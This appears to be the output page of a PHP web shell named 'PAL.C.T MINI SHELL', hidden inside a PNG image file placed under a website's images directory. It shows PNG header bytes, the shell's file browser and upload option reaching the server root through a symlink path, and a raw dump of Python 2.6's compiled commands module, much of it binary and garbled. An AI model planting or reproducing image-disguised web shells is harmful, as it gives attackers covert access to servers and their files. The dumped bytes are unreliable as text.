php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/lib/python2.6/
upload
files >> /var/www/html/sub/images/sym/root/usr/lib/python2.6/commands.pyo

Lc@sFdZdddgZdZdZdZdZdZd	S(
s-Execute shell commands via os.popen() and return status, output.

Interface summary:

       import commands

       outtext = commands.getoutput(cmd)
       (exitstatus, outtext) = commands.getstatusoutput(cmd)
       outtext = commands.getstatus(file)  # returns output of "ls -ld file"

A trailing newline is removed from the output string.

Encapsulates the basic operation:

      pipe = os.popen('{ ' + cmd + '; } 2>&1', 'r')
      text = pipe.read()
      sts = pipe.close()

 [Note:  it would be nice to add functions to interpret the exit status.]
tgetstatusoutputt	getoutputt	getstatuscCs3ddk}|idtdtdt|S(s-Return output of "ls -ld <file>" in a string.iNs"commands.getstatus() is deprecatedisls -ld(twarningstwarntDeprecationWarningRtmkarg(tfileR((s/usr/lib/python2.6/commands.pyR!scCst|dS(s=Return output (stdout or stderr) of executing cmd in a shell.i(R(tcmd((s/usr/lib/python2.6/commands.pyR,scCs~ddk}|id|dd}|i}|i}|djo
d}n|ddjo|d }n||fS(s4Return (status, output) of executing cmd in a shell.iNs{ s; } 2>&1tris
(tostpopentreadtclosetNone(RR
tpipettexttsts((s/usr/lib/python2.6/commands.pyR4s

cCs?ddkl}|dddk}t|ii||S(Ni(twarnpy3ks In 3.x, mk2arg has been removed.(RRR
Rtpathtjoin(theadtxRR
((s/usr/lib/python2.6/commands.pytmk2argAs
cCs~ddkl}|dd|jo
d|dSd}x3|D]+}|djo|d}n||}qAW|d	}|S(
Ni(Rsin 3.x, mkarg has been removed.s's 's "s\$"`s\t"(RR(RRtstc((s/usr/lib/python2.6/commands.pyROs




N(t__doc__t__all__RRRRR(((s/usr/lib/python2.6/commands.pyt<module>s			
	
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`